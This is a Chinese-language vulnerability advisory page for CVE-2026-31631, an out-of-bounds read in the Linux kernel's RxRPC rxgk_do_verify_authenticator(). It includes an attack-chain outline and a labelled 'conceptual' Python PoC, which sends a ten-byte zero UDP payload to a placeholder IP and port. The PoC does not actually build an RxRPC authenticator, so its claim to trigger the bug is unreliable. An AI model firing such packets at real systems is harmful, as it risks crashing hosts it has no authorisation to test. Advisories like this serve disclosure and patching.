IPBUF安全漏洞报告
English
CVE-2026-31631 CVSS 8.2 高危

CVE-2026-31631 Linux内核RxRPC缓冲区越界读取漏洞

披露日期: 2026-04-24
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2026-31631
漏洞类型
缓冲区越界读取
CVSS评分
8.2 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel

相关标签

缓冲区越界Linux内核RxRPC拒绝服务信息泄露

漏洞概述

Linux内核中的rxrpc模块存在缓冲区越界读取漏洞。该漏洞源于rxgk_do_verify_authenticator()函数在处理认证器时,未在检查nonce之前验证缓冲区大小。攻击者可利用此缺陷通过网络发送特制数据包,导致内核读取越界内存,进而引发系统崩溃或信息泄露。

技术细节

该漏洞位于Linux内核的RxRPC子系统的RxGK安全实现中。在函数`rxgk_do_verify_authenticator()`执行过程中,代码逻辑存在缺陷,即在访问数据包中的`nonce`字段之前,未对传入的缓冲区长度进行充分的边界检查。当攻击者向目标系统发送精心构造的RxRPC数据包时,由于缺少长度验证,内核将尝试从有效缓冲区范围之外读取数据。这种越界读取行为可能导致内核崩溃(拒绝服务),或者在特定条件下读取敏感的内核内存内容,从而影响系统的机密性和可用性。

攻击链分析

STEP 1
侦察
攻击者扫描网络,识别开启RxRPC服务且运行受影响Linux内核版本的目标主机。
STEP 2
构造载荷
攻击者构造特制的RxRPC数据包,该数据包的认证器部分经过精心修改,使其长度不足以包含nonce字段,但能触发验证函数。
STEP 3
投递攻击
攻击者通过网络将恶意数据包发送给目标系统。
STEP 4
触发漏洞
目标系统内核处理该数据包,调用`rxgk_do_verify_authenticator()`函数,在未检查缓冲区大小的情况下读取nonce,导致越界读取。
STEP 5
达成效果
越界读取导致内核崩溃(拒绝服务)或敏感内存信息泄露。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# PoC Conceptual Code for CVE-2026-31631 # This script demonstrates how to send a malformed packet to trigger the buffer overread. # Note: Actual exploitation requires the target to have RxRPC listening. import socket import struct def send_malicious_rxrpc_packet(target_ip, target_port): """ Sends a crafted packet targeting rxgk_do_verify_authenticator. The packet is truncated to trigger the read check before size check. """ try: # Create a raw socket (requires root privileges) # Protocol number for RxRPC might vary, using UDP as a placeholder for conceptual logic sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) # Malformed payload: Too short to contain the nonce, but structured to pass initial checks # This simulates the condition where buffer size is smaller than expected. payload = b'\x00' * 10 # Truncated authenticator print(f"[*] Sending malicious packet to {target_ip}:{target_port}") sock.sendto(payload, (target_ip, target_port)) print("[+] Packet sent.") except Exception as e: print(f"[-] Error: {e}") finally: sock.close() if __name__ == "__main__": # Replace with actual target IP and Port target = "192.168.1.10" port = 7000 # Example port send_malicious_rxrpc_packet(target, port)

影响范围

Linux Kernel < Commit 1c4422d8be81718ecb15d79aedff607323085201
Linux Kernel < Commit 794586789800b16dcbe235452494f4223ac80413
Linux Kernel < Commit f564af387c8c28238f8ebc13314c589d7ba8475d

防御指南

临时缓解措施
在未升级内核前,建议通过防火墙限制对RxRPC相关端口的网络访问,仅允许可信网络通信,以降低被攻击的风险。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表